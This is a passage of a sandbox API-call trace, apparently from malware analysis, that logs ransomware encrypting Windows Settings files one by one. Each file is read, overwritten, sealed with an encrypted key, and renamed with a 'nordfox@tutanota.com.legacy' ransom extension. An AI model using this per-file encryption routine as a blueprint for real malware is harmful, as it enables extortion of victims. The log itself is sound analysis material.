pbBuffer=0x5c4218) returned 1 [0199.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.386] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageBackground.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.387] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x421, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.388] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.388] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x421, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.389] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x421 [0199.389] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.389] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.389] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.389] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.390] CloseHandle (hObject=0x1c24) returned 1 [0199.390] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageBackground.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagebackground.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageBackground.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagebackground.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0199.392] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0199.392] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsNotifications.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.392] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.393] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.394] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.394] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0199.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.394] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.394] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.395] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.395] CloseHandle (hObject=0x1c24) returned 1 [0199.395] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsNotifications.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsnotifications.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsNotifications.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsnotifications.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.397] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.397] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.397] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaultsProtocolView.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.398] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4d1, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4d1, lpOverlapped=0x0) returned 1 [0199.399] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1233, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.399] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x4d1, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4d1, lpOverlapped=0x0) returned 1 [0199.399] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4d1 [0199.400] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.400] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.400] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.400] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.400] CloseHandle (hObject=0x1c24) returned 1 [0199.401] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaultsProtocolView.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsdefaultsprotocolview.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaultsProtocolView.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsdefaultsprotocolview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.404] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.404] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaultsFileExtensionView.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.405] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f0cc8, nNumberOfBytesToRead=0x4ea, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f0cc8*, lpNumberOfBytesRead=0x2e1f9bc*=0x4ea, lpOverlapped=0x0) returned 1 [0199.423] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1258, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.423] WriteFile (in: hFile=0x1c24, lpBuffer=0x30f3000*, nNumberOfBytesToWrite=0x4ea, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f3000*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4ea, lpOverlapped=0x0) returned 1 [0199.424] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4ea [0199.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.424] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.424] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.424] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.425] CloseHandle (hObject=0x1c24) returned 1 [0199.425] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaultsFileExtensionView.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsdefaultsfileextensionview.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaultsFileExtensionView.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsdefaultsfileextensionview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0199.427] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.427] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaults.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.427] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.435] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.435] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.436] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0199.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.436] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.436] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.436] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.437] CloseHandle (hObject=0x1c24) returned 1 [0199.437] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaults.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsdefaults.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAppsDefaults.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageappsdefaults.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.439] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.439] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageActivate.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.439] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x417, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x417, lpOverlapped=0x0) returned 1 [0199.440] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1047, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.441] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x417, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x417, lpOverlapped=0x0) returned 1 [0199.441] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x417 [0199.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.441] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.441] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.442] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.442] CloseHandle (hObject=0x1c24) returned 1 [0199.442] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageActivate.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageactivate.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageActivate.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageactivate.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.445] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0199.445] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsUsers.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.445] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0199.446] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.446] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x430, lpOverlapped=0x0) returned 1 [0199.447] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x430 [0199.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.447] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.447] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.448] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.448] CloseHandle (hObject=0x1c24) returned 1 [0199.448] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsUsers.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountsusers.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsUsers.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageaccountsusers.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0199.450] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.450] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageAccountsSync.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.450] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.453] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.453] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.454] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0199.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.454] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.454] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.454] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.455] CloseHandle (hObject=0x1c24) returned 1 [0199.455] MoveFileExW 